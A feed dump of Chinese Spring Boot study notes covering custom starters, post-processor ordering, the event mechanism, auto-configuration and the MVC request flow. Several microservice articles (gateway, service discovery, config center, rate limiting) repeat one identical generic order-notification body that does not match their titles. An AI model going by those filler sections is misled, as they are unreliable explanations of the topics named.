        │       ├── MyServiceProperties.java
        │       ├── MyHealthIndicator.java
        │       └── autoconfigure/
        │           └── MyServiceAutoConfiguration.java
        └── resources/
            └── META-INF/
                ├── spring.factories
                └── additional-spring-configuration-metadata.json

使用 Starter

#

引入依赖

<dependency>
    <groupId>com.example</groupId>
    <artifactId>my-service-spring-boot-starter</artifactId>
    <version>1.0.0</version>
</dependency>

#

配置文件

my:
  service:
    enabled: true
    name: myApp
    timeout: 10000
    retry: 5

#

注入使用

@Service
public class BusinessService {
    @Autowired
    private MyService myService;
    
    public void doSomething() {
        String result = myService.sayHello("World");
        System.out.println(result);
    }
}

高级特性

#

条件装配

@Configuration
public class MyServiceAutoConfiguration {
    
    // 当 classpath 存在 Redis 时
    @Bean
    @ConditionalOnClass(RedisTemplate.class)
    public MyCacheService redisCacheService(RedisTemplate<String, String> redisTemplate) {
        return new RedisCacheService(redisTemplate);
    }
    
    // 当不存在 Redis 时使用本地缓存
    @Bean
    @ConditionalOnMissingClass("org.springframework.data.redis.core.RedisTemplate")
    public MyCacheService localCacheService() {
        return new LocalCacheService();
    }
}

#

多配置类

@Configuration
public class MyServiceAutoConfiguration {
    
    @Configuration
    @ConditionalOnWebApplication
    public static class WebConfiguration {
        @Bean
        public MyWebInterceptor myWebInterceptor() {
            return new MyWebInterceptor();
        }
    }
    
    @Configuration
    @ConditionalOnNotWebApplication
    public static class NonWebConfiguration {
        @Bean
        public MyCliRunner myCliRunner() {
            return new MyCliRunner();
        }
    }
}

测试 Starter

@SpringBootTest(classes = TestApplication.class)
public class MyServiceAutoConfigurationTest {
    
    @Autowired
    private MyService myService;
    
    @Autowired
    private MyServiceProperties properties;
    
    @Test
    public void testServiceCreated() {
        assertNotNull(myService);
    }
    
    @Test
    public void testPropertiesLoaded() {
        assertEquals("myApp", properties.getName());
        assertEquals(10000, properties.getTimeout());
    }
}

@SpringBootApplication
@EnableConfigurationProperties(MyServiceProperties.class)
class TestApplication {
}

发布到 Maven 仓库

<distributionManagement>
    <repository>
        <id>releases</id>
        <url>http://nexus.example.com/repository/maven-releases/</url>
    </repository>
</distributionManagement>
mvn clean deploy

总结

开发 Spring Boot Starter 的关键步骤：

  1. 创建项目：引入 spring-boot-autoconfigure
  2. 定义属性：@ConfigurationProperties
  3. 实现功能：核心服务类
  4. 自动配置：@Configuration + 条件注解
  5. 注册配置：META-INF/spring.factories
  6. IDE 提示：配置元数据

自定义 Starter 可以将团队的公共能力沉淀为标准化组件，提高开发效率和代码复用。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring 网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud Spring后置处理器的执行顺序 //spring-hou-zhi-chu-li-qi-de-zhi-xing-shun-xu/ Spring后置处理器的执行顺序

Spring 提供了多种后置处理器（PostProcessor）扩展点，它们在不同阶段介入容器生命周期。理解它们的执行顺序至关重要。

后置处理器分类

Spring 容器启动
    |
    ├── BeanDefinitionRegistryPostProcessor
    │       └── 在 BeanDefinition 加载后，实例化前
    │
    ├── BeanFactoryPostProcessor
    │       └── 在 BeanFactory 标准初始化后
    │
    └── BeanPostProcessor
            ├── postProcessBeforeInitialization
            │       └── 每个 Bean 初始化前
            └── postProcessAfterInitialization
                    └── 每个 Bean 初始化后（AOP 代理创建）

1. BeanDefinitionRegistryPostProcessor

作用

在 BeanDefinition 加载完成后、Bean 实例化之前执行，可以动态注册 BeanDefinition。

典型实现

public interface BeanDefinitionRegistryPostProcessor extends BeanFactoryPostProcessor {
    void postProcessBeanDefinitionRegistry(BeanDefinitionRegistry registry) throws BeansException;
}

重要实现：

  • ConfigurationClassPostProcessor：处理 @Configuration 类
  • MapperScannerConfigurer：MyBatis 扫描 Mapper

执行时机

// AbstractApplicationContext.refresh()
public void refresh() {
    // ...
    
    // 1. 调用 BeanDefinitionRegistryPostProcessor
    invokeBeanFactoryPostProcessors(beanFactory);
    
    // ...
}

自定义示例

@Component
public class CustomRegistryPostProcessor implements BeanDefinitionRegistryPostProcessor {
    
    @Override
    public void postProcessBeanDefinitionRegistry(BeanDefinitionRegistry registry) {
        // 动态注册 Bean
        BeanDefinition beanDefinition = BeanDefinitionBuilder
            .genericBeanDefinition(MyService.class)
            .getBeanDefinition();
        registry.registerBeanDefinition("myService", beanDefinition);
    }
    
    @Override
    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) {
        // 也可以实现 BeanFactoryPostProcessor 的方法
    }
}

2. BeanFactoryPostProcessor

作用

在 BeanFactory 标准初始化之后、所有 BeanDefinition 加载完成后执行，可以修改 BeanDefinition 的属性。

典型实现

  • PropertySourcesPlaceholderConfigurer：处理 ${...} 占位符
  • ConfigurationClassPostProcessor：处理 @Configuration

执行顺序

// 1. BeanDefinitionRegistryPostProcessor（按 PriorityOrdered、Ordered 排序）
// 2. BeanDefinitionRegistryPostProcessor（无排序）
// 3. BeanFactoryPostProcessor（按 PriorityOrdered、Ordered 排序）
// 4. BeanFactoryPostProcessor（无排序）

自定义示例

@Component
public class CustomBeanFactoryPostProcessor implements BeanFactoryPostProcessor, Ordered {
    
    @Override
    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) {
        // 修改 BeanDefinition
        BeanDefinition beanDefinition = beanFactory.getBeanDefinition("dataSource");
        beanDefinition.getPropertyValues().add("url", "jdbc:mysql://new-host:3306/db");
    }
    
    @Override
    public int getOrder() {
        return 1;  // 数字越小优先级越高
    }
}

3. BeanPostProcessor

作用

在每个 Bean 实例化之后、初始化前后执行。

接口定义

public interface BeanPostProcessor {
    // 初始化前
    @Nullable
    default Object postProcessBeforeInitialization(Object bean, String beanName) {
        return bean;
    }
    
    // 初始化后
    @Nullable
    default Object postProcessAfterInitialization(Object bean, String beanName) {
        return bean;
    }
}

典型实现

实现类作用
AutowiredAnnotationBeanPostProcessor处理 @Autowired、@Value
CommonAnnotationBeanPostProcessor处理 @PostConstruct、@PreDestroy、@Resource
AsyncAnnotationBeanPostProcessor处理 @Async
ScheduledAnnotationBeanPostProcessor处理 @Scheduled
AbstractAutoProxyCreator创建 AOP 代理

执行顺序

1. InstantiationAwareBeanPostProcessor.postProcessBeforeInstantiation
2. 实例化 Bean（构造器）
3. InstantiationAwareBeanPostProcessor.postProcessAfterInstantiation
4. 属性赋值（依赖注入）
5. BeanNameAware.setBeanName
6. BeanFactoryAware.setBeanFactory
7. ApplicationContextAware.setApplicationContext
8. BeanPostProcessor.postProcessBeforeInitialization
9. @PostConstruct
10. InitializingBean.afterPropertiesSet
11. init-method
12. BeanPostProcessor.postProcessAfterInitialization（AOP 代理在此创建）

4. InstantiationAwareBeanPostProcessor

作用

在 Bean 实例化前后介入，可以自定义实例化逻辑。

public interface InstantiationAwareBeanPostProcessor extends BeanPostProcessor {
    // 实例化前，返回非 null 则跳过默认实例化
    default Object postProcessBeforeInstantiation(Class<?> beanClass, String beanName) {
        return null;
    }
    
    // 实例化后、属性赋值前
    default boolean postProcessAfterInstantiation(Object bean, String beanName) {
        return true;
    }
    
    // 处理属性值
    default PropertyValues postProcessProperties(PropertyValues pvs, Object bean, String beanName) {
        return null;
    }
}

典型实现：

  • AutowiredAnnotationBeanPostProcessor：处理 @Autowired 注入

完整执行顺序图

容器启动
    |
    v
1. 加载 BeanDefinition
    |
    v
2. BeanDefinitionRegistryPostProcessor
    ├── ConfigurationClassPostProcessor（@Configuration）
    ├── MapperScannerConfigurer（MyBatis）
    └── 自定义...
    |
    v
3. BeanFactoryPostProcessor
    ├── PropertySourcesPlaceholderConfigurer（${}）
    └── 自定义...
    |
    v
4. 注册 BeanPostProcessor
    |
    v
5. 实例化单例 Bean（逐个）
    |
    ├── 5.1 InstantiationAwareBeanPostProcessor
    │       .postProcessBeforeInstantiation()
    │
    ├── 5.2 调用构造器实例化
    │
    ├── 5.3 InstantiationAwareBeanPostProcessor
    │       .postProcessAfterInstantiation()
    │
    ├── 5.4 属性赋值（@Autowired 等）
    │
    ├── 5.5 Aware 接口回调
    │
    ├── 5.6 BeanPostProcessor
    │       .postProcessBeforeInitialization()
    │
    ├── 5.7 初始化（@PostConstruct, afterPropertiesSet, init-method）
    │
    ├── 5.8 BeanPostProcessor
    │       .postProcessAfterInitialization()
    │       └── AbstractAutoProxyCreator 创建 AOP 代理
    │
    v
6. Bean 就绪

自定义后置处理器的顺序控制

实现 Ordered 接口

@Component
public class MyPostProcessor implements BeanPostProcessor, Ordered {
    
    @Override
    public int getOrder() {
        return Ordered.HIGHEST_PRECEDENCE;  // 最高优先级
    }
}

使用 @Order 注解

@Component
@Order(1)
public class MyPostProcessor implements BeanPostProcessor {
}

PriorityOrdered vs Ordered

接口优先级
PriorityOrdered高于 Ordered
Ordered普通
无最低

实际应用

场景1：动态修改 Bean 属性

@Component
public class DataSourceUrlModifier implements BeanFactoryPostProcessor {
    @Override
    public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) {
        String env = System.getProperty("env", "dev");
        BeanDefinition bd = beanFactory.getBeanDefinition("dataSource");
        
        if ("prod".equals(env)) {
            bd.getPropertyValues().add("url", "jdbc:mysql://prod:3306/db");
        }
    }
}

场景2：AOP 代理创建

public abstract class AbstractAutoProxyCreator extends ProxyProcessorSupport
        implements SmartInstantiationAwareBeanPostProcessor, BeanFactoryAware {
    
    @Override
    public Object postProcessAfterInitialization(@Nullable Object bean, String beanName) {
        if (bean != null) {
            // 检查是否需要代理
            return wrapIfNecessary(bean, beanName, cacheKey);
        }
        return bean;
    }
}

场景3：初始化日志

@Component
public class InitializationLogger implements BeanPostProcessor {
    
    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) {
        if (beanName.endsWith("Service") || beanName.endsWith("Controller")) {
            System.out.println("Initialized: " + beanName);
        }
        return bean;
    }
}

总结

后置处理器执行时机用途
BeanDefinitionRegistryPostProcessorBeanDefinition 加载后动态注册 Bean
BeanFactoryPostProcessorBeanFactory 初始化后修改 BeanDefinition
InstantiationAwareBeanPostProcessorBean 实例化前后自定义实例化、属性注入
BeanPostProcessorBean 初始化前后AOP 代理、初始化处理

理解后置处理器的执行顺序，是掌握 Spring 扩展机制的关键。

]]> Spring 学习笔记 Spring Spring事件机制与监听模式 //spring-shi-jian-ji-zhi-yu-jian-ting-mo-shi/ Spring事件机制与监听模式

Spring 的事件机制实现了发布-订阅模式（Observer Pattern），用于在应用内部解耦模块间的通信。

核心接口

// 事件
public abstract class ApplicationEvent extends EventObject {
    public ApplicationEvent(Object source) {
        super(source);
    }
}

// 监听器
@FunctionalInterface
public interface ApplicationListener<E extends ApplicationEvent> extends EventListener {
    void onApplicationEvent(E event);
}

// 发布器
public interface ApplicationEventPublisher {
    void publishEvent(ApplicationEvent event);
    void publishEvent(Object event);
}

基本使用

1. 定义事件

public class OrderCreatedEvent extends ApplicationEvent {
    private final Long orderId;
    private final BigDecimal amount;
    
    public OrderCreatedEvent(Object source, Long orderId, BigDecimal amount) {
        super(source);
        this.orderId = orderId;
        this.amount = amount;
    }
    
    // getter
}

2. 发布事件

@Service
public class OrderService {
    @Autowired
    private ApplicationEventPublisher eventPublisher;
    
    @Transactional
    public void createOrder(OrderRequest request) {
        // 1. 创建订单
        Order order = orderDao.save(request);
        
        // 2. 发布事件
        eventPublisher.publishEvent(
            new OrderCreatedEvent(this, order.getId(), order.getAmount())
        );
        
        // 3. 其他业务逻辑
    }
}

3. 监听事件

方式1：实现 ApplicationListener

@Component
public class OrderCreatedListener implements ApplicationListener<OrderCreatedEvent> {
    
    @Override
    public void onApplicationEvent(OrderCreatedEvent event) {
        System.out.println("订单创建事件: " + event.getOrderId());
        // 发送短信、更新统计等
    }
}

方式2：@EventListener（推荐）

@Component
public class OrderEventListeners {
    
    @EventListener
    public void handleOrderCreated(OrderCreatedEvent event) {
        System.out.println("订单创建: " + event.getOrderId());
    }
    
    @EventListener
    public void sendSms(OrderCreatedEvent event) {
        smsService.sendOrderCreatedSms(event.getOrderId());
    }
    
    @EventListener
    public void updateStats(OrderCreatedEvent event) {
        statsService.incrementOrderCount();
    }
}

异步事件

开启异步支持

@Configuration
@EnableAsync
public class AsyncConfig {
    
    @Bean(name = "eventAsyncExecutor")
    public Executor eventAsyncExecutor() {
        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
        executor.setCorePoolSize(5);
        executor.setMaxPoolSize(10);
        executor.setQueueCapacity(100);
        executor.setThreadNamePrefix("event-");
        executor.initialize();
        return executor;
    }
}

异步监听

@Component
public class AsyncOrderListeners {
    
    @EventListener
    @Async("eventAsyncExecutor")
    public void handleOrderCreated(OrderCreatedEvent event) {
        // 异步执行
        emailService.sendOrderEmail(event.getOrderId());
    }
}

注意：异步事件不能依赖事务上下文。

事务事件

场景

事件监听需要在事务提交后才执行（如发送消息）。

@TransactionalEventListener

@Component
public class TransactionalOrderListeners {
    
    @EventListener
    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void sendMessage(OrderCreatedEvent event) {
        // 事务提交后才执行
        messageService.sendOrderCreatedMessage(event.getOrderId());
    }
    
    @TransactionalEventListener(phase = TransactionPhase.AFTER_ROLLBACK)
    public void handleRollback(OrderCreatedEvent event) {
        // 事务回滚后执行
        log.warn("订单创建回滚: " + event.getOrderId());
    }
}

事务阶段

阶段说明
BEFORE_COMMIT事务提交前
AFTER_COMMIT事务提交后（默认）
AFTER_ROLLBACK事务回滚后
AFTER_COMPLETION事务完成后（提交或回滚）

事件传播机制

ApplicationEventMulticaster

public interface ApplicationEventMulticaster {
    void addApplicationListener(ApplicationListener<?> listener);
    void removeApplicationListener(ApplicationListener<?> listener);
    void multicastEvent(ApplicationEvent event);
}

默认实现：SimpleApplicationEventMulticaster

public class SimpleApplicationEventMulticaster extends AbstractApplicationEventMulticaster {
    
    @Override
    public void multicastEvent(ApplicationEvent event) {
        multicastEvent(event, resolveDefaultEventType(event));
    }
    
    @Override
    public void multicastEvent(final ApplicationEvent event, ResolvableType eventType) {
        ResolvableType type = (eventType != null ? eventType : resolveDefaultEventType(event));
        
        for (final ApplicationListener<?> listener : getApplicationListeners(event, type)) {
            Executor executor = getTaskExecutor();
            if (executor != null) {
                executor.execute(() -> invokeListener(listener, event));
            } else {
                invokeListener(listener, event);
            }
        }
    }
}

自定义事件广播器

@Bean
public ApplicationEventMulticaster applicationEventMulticaster() {
    SimpleApplicationEventMulticaster multicaster = new SimpleApplicationEventMulticaster();
    multicaster.setTaskExecutor(eventAsyncExecutor());
    multicaster.setErrorHandler(t -> log.error("事件处理异常", t));
    return multicaster;
}

泛型事件

使用 ResolvableType

public class EntityCreatedEvent<T> extends ApplicationEvent {
    private final T entity;
    
    public EntityCreatedEvent(Object source, T entity) {
        super(source);
        this.entity = entity;
    }
    
    public T getEntity() {
        return entity;
    }
}

@Component
public class EntityEventListener {
    
    @EventListener
    public void handleUserCreated(EntityCreatedEvent<User> event) {
        User user = event.getEntity();
        System.out.println("用户创建: " + user.getName());
    }
    
    @EventListener
    public void handleOrderCreated(EntityCreatedEvent<Order> event) {
        Order order = event.getEntity();
        System.out.println("订单创建: " + order.getId());
    }
}

条件监听

@Component
public class ConditionalListener {
    
    @EventListener(condition = "#event.amount > 1000")
    public void handleBigOrder(OrderCreatedEvent event) {
        System.out.println("大额订单: " + event.getOrderId());
    }
}

与消息队列对比

特性Spring 事件MQ
耦合度应用内解耦系统间解耦
持久化无有
可靠性一般高
分布式不支持支持
复杂度低高

建议：

  • 应用内模块通信：Spring 事件
  • 跨服务通信：MQ（RabbitMQ、Kafka）

最佳实践

  1. 事件类命名：以 Event 结尾，过去式（OrderCreatedEvent）
  2. 事件字段：包含必要上下文，避免过多数据
  3. 监听器命名：handle + 事件名
  4. 异步处理：耗时操作使用 @Async
  5. 事务边界：需要事务保证的使用 @TransactionalEventListener
  6. 异常处理：配置 ErrorHandler，避免影响其他监听器

总结

Spring 事件机制提供了轻量级的发布-订阅模式：

组件作用
ApplicationEvent事件基类
ApplicationListener监听器接口
@EventListener注解方式监听
ApplicationEventPublisher事件发布
@TransactionalEventListener事务事件

合理使用事件机制，可以降低模块耦合，提高代码可维护性。

]]> Spring 学习笔记 Spring 服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 Spring自动配置的实现原理 //spring-zi-dong-pei-zhi-de-shi-xian-yuan-li/ Spring自动配置的实现原理

Spring Boot 的自动配置是其最受欢迎的特性之一。理解自动配置原理，有助于自定义 Starter 和排查配置问题。

自动配置的入口

@SpringBootApplication

@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }
}

等价于：

@Configuration
@EnableAutoConfiguration
@ComponentScan
public class Application { }

@EnableAutoConfiguration

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {
}

核心：@Import(AutoConfigurationImportSelector.class)

AutoConfigurationImportSelector

加载流程

public class AutoConfigurationImportSelector implements 
        DeferredImportSelector, BeanClassLoaderAware, ... {
    
    @Override
    public String[] selectImports(AnnotationMetadata annotationMetadata) {
        // 1. 获取自动配置条目
        AutoConfigurationEntry autoConfigurationEntry = 
            getAutoConfigurationEntry(annotationMetadata);
        
        // 2. 返回配置类列表
        return StringUtils.toStringArray(autoConfigurationEntry.getConfigurations());
    }
}

读取 spring.factories

protected List<String> getCandidateConfigurations(AnnotationMetadata metadata, 
                                                   AnnotationAttributes attributes) {
    // 从 META-INF/spring.factories 读取
    List<String> configurations = SpringFactoriesLoader.loadFactoryNames(
        getSpringFactoriesLoaderFactoryClass(), getBeanClassLoader());
    
    Assert.notEmpty(configurations,
        "No auto configuration classes found in META-INF/spring.factories");
    
    return configurations;
}

spring.factories 示例：

# META-INF/spring.factories
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
com.example.MyAutoConfiguration,\
com.example.OtherAutoConfiguration

过滤配置类

protected AutoConfigurationEntry getAutoConfigurationEntry(AnnotationMetadata metadata) {
    // 1. 读取所有候选配置
    List<String> configurations = getCandidateConfigurations(metadata, attributes);
    
    // 2. 去重
    configurations = removeDuplicates(configurations);
    
    // 3. 排除指定配置
    Set<String> exclusions = getExclusions(metadata, attributes);
    configurations.removeAll(exclusions);
    
    // 4. 条件过滤（@ConditionalOnXxx）
    configurations = getConfigurationClassFilter().filter(configurations);
    
    // 5. 触发自动配置导入事件
    fireAutoConfigurationImportEvents(configurations, exclusions);
    
    return new AutoConfigurationEntry(configurations, exclusions);
}

条件注解

常用条件注解

注解条件
@ConditionalOnClassclasspath 中存在指定类
@ConditionalOnMissingClassclasspath 中不存在指定类
@ConditionalOnBean容器中存在指定 Bean
@ConditionalOnMissingBean容器中不存在指定 Bean
@ConditionalOnProperty指定属性满足条件
@ConditionalOnResource存在指定资源
@ConditionalOnWebApplication是 Web 应用
@ConditionalOnExpressionSpEL 表达式为 true

示例

@Configuration
@ConditionalOnClass(DataSource.class)  // classpath 有 DataSource
@ConditionalOnMissingBean(DataSource.class)  // 容器中没有 DataSource Bean
@EnableConfigurationProperties(DataSourceProperties.class)
public class DataSourceAutoConfiguration {
    
    @Bean
    @ConditionalOnMissingBean  // 用户没定义时才创建
    public DataSource dataSource(DataSourceProperties properties) {
        return DataSourceBuilder.create()
            .url(properties.getUrl())
            .username(properties.getUsername())
            .password(properties.getPassword())
            .build();
    }
}

自定义 Starter

创建步骤

1. 创建自动配置类

@Configuration
@ConditionalOnClass(MyService.class)
@EnableConfigurationProperties(MyProperties.class)
public class MyAutoConfiguration {
    
    @Bean
    @ConditionalOnMissingBean
    public MyService myService(MyProperties properties) {
        return new MyService(properties.getName());
    }
}

2. 创建配置属性类

@ConfigurationProperties(prefix = "my.service")
public class MyProperties {
    private String name = "default";
    private boolean enabled = true;
    
    // getter/setter
}

3. 创建 spring.factories

# META-INF/spring.factories
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
com.example.autoconfigure.MyAutoConfiguration

4. 使用 Starter

<dependency>
    <groupId>com.example</groupId>
    <artifactId>my-spring-boot-starter</artifactId>
    <version>1.0.0</version>
</dependency>
my:
  service:
    name: myApp
    enabled: true

自动配置报告

查看生效的自动配置

# 开启 DEBUG 日志
logging.level.org.springframework.boot.autoconfigure=DEBUG

# 或使用 --debug
java -jar app.jar --debug

自动配置报告

Positive matches:
-----------------
   DataSourceAutoConfiguration matched:
      - @ConditionalOnClass found required classes 'DataSource', ...
      - @ConditionalOnMissingBean (types: DataSource; SearchStrategy: all) did not find any beans

Negative matches:
-----------------
   ActiveMQAutoConfiguration:
      Did not match:
         - @ConditionalOnClass did not find required class 'javax.jms.ConnectionFactory'

排除自动配置

方式1：注解排除

@SpringBootApplication(exclude = DataSourceAutoConfiguration.class)
public class Application { }

方式2：配置文件排除

spring:
  autoconfigure:
    exclude:
      - org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration

自动配置原理总结

@SpringBootApplication
    └── @EnableAutoConfiguration
            └── @Import(AutoConfigurationImportSelector)
                    └── selectImports()
                            ├── 读取 META-INF/spring.factories
                            ├── 加载所有 EnableAutoConfiguration 类
                            ├── 排除指定配置
                            └── @Conditional 过滤
                                    ├── @ConditionalOnClass
                                    ├── @ConditionalOnBean
                                    └── @ConditionalOnProperty

常见问题

1. 自动配置不生效

排查：

# 1. 检查 spring.factories 路径和格式
# 2. 检查条件注解是否满足
# 3. 开启 DEBUG 查看报告

2. 配置冲突

解决：

@Bean
@ConditionalOnMissingBean  // 只在用户未定义时创建
public MyService myService() {
    return new MyService();
}

3. 加载顺序

@AutoConfigureAfter(DataSourceAutoConfiguration.class)
@AutoConfigureBefore(WebMvcAutoConfiguration.class)
public class MyAutoConfiguration { }

总结

Spring Boot 自动配置的核心机制：

  1. spring.factories：注册自动配置类
  2. @Conditional：条件过滤，按需加载
  3. @EnableConfigurationProperties：绑定配置
  4. @ConditionalOnMissingBean：允许用户覆盖

这个设计使得 Spring Boot 项目可以做到零配置启动，同时保留充分的自定义能力。

]]> Spring 学习笔记 Spring 限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 Spring MVC请求处理流程 //spring-mvc-qing-qiu-chu-li-liu-cheng/ Spring MVC请求处理流程

Spring MVC 是基于 Servlet 的 Web 框架。理解请求处理流程，有助于自定义扩展和排查问题。

核心组件

组件作用
DispatcherServlet前端控制器，统一接收请求
HandlerMapping请求 -> Handler 的映射
HandlerAdapter适配不同的 Handler 类型
Handler处理器（Controller）
ViewResolver视图解析
View视图渲染

请求处理流程

HTTP Request
    |
    v
DispatcherServlet.doDispatch()
    |
    v
1. 调用 HandlerMapping 获取 HandlerExecutionChain
    ├── Handler（Controller 方法）
    └── Interceptor 列表
    |
    v
2. 调用 HandlerAdapter 执行 Handler
    |
    v
3. 参数解析（HandlerMethodArgumentResolver）
    ├── @RequestParam
    ├── @PathVariable
    ├── @RequestBody
    └── ...
    |
    v
4. 执行 Controller 方法
    |
    v
5. 返回值处理（HandlerMethodReturnValueHandler）
    ├── @ResponseBody -> HttpMessageConverter
    ├── String -> View 名称
    └── ModelAndView
    |
    v
6. 执行 Interceptor 的 postHandle
    |
    v
7. 视图解析和渲染（非 @ResponseBody）
    |
    v
8. 执行 Interceptor 的 afterCompletion
    |
    v
HTTP Response

DispatcherServlet 源码分析

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) {
    HttpServletRequest processedRequest = request;
    HandlerExecutionChain mappedHandler = null;
    
    try {
        ModelAndView mv = null;
        Exception dispatchException = null;
        
        try {
            // 1. 检查文件上传
            processedRequest = checkMultipart(request);
            
            // 2. 获取 HandlerExecutionChain
            mappedHandler = getHandler(processedRequest);
            if (mappedHandler == null) {
                noHandlerFound(processedRequest, response);
                return;
            }
            
            // 3. 获取 HandlerAdapter
            HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
            
            // 4. 执行 Interceptor preHandle
            if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                return;  // preHandle 返回 false，中断处理
            }
            
            // 5. 执行 Handler
            mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
            
            // 6. 应用默认视图名
            applyDefaultViewName(processedRequest, mv);
            
            // 7. 执行 Interceptor postHandle
            mappedHandler.applyPostHandle(processedRequest, response, mv);
        }
        catch (Exception ex) {
            dispatchException = ex;
        }
        
        // 8. 处理结果（视图渲染或异常处理）
        processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
    }
    finally {
        // 清理资源
    }
}

HandlerMapping

常见实现

HandlerMapping
├── BeanNameUrlHandlerMapping      # 根据 Bean 名称映射（旧）
├── SimpleUrlHandlerMapping        # 简单 URL 映射
└── RequestMappingHandlerMapping   # @RequestMapping 注解映射（默认）

RequestMappingHandlerMapping

@Controller
@RequestMapping("/users")
public class UserController {
    
    @GetMapping("/{id}")
    @ResponseBody
    public User getUser(@PathVariable Long id) {
        return userService.findById(id);
    }
}

映射信息存储：

// 启动时扫描所有 @RequestMapping 注解
// 存储到 MappingRegistry
Map<T, HandlerMethod> mappingLookup  // URL -> HandlerMethod
Map<T, MappingRegistration<T>> registry  // 完整注册信息

HandlerAdapter

常见实现

HandlerAdapter
├── HttpRequestHandlerAdapter      # HttpRequestHandler
├── SimpleControllerHandlerAdapter # Controller 接口
├── SimpleServletHandlerAdapter    # Servlet
└── RequestMappingHandlerAdapter   # @RequestMapping（默认）

RequestMappingHandlerAdapter

// 执行流程
public ModelAndView handle(HttpServletRequest request, 
                           HttpServletResponse response, 
                           Object handler) throws Exception {
    
    HandlerMethod handlerMethod = (HandlerMethod) handler;
    
    // 1. 创建 WebDataBinderFactory（数据绑定）
    WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
    
    // 2. 创建 ModelFactory（模型管理）
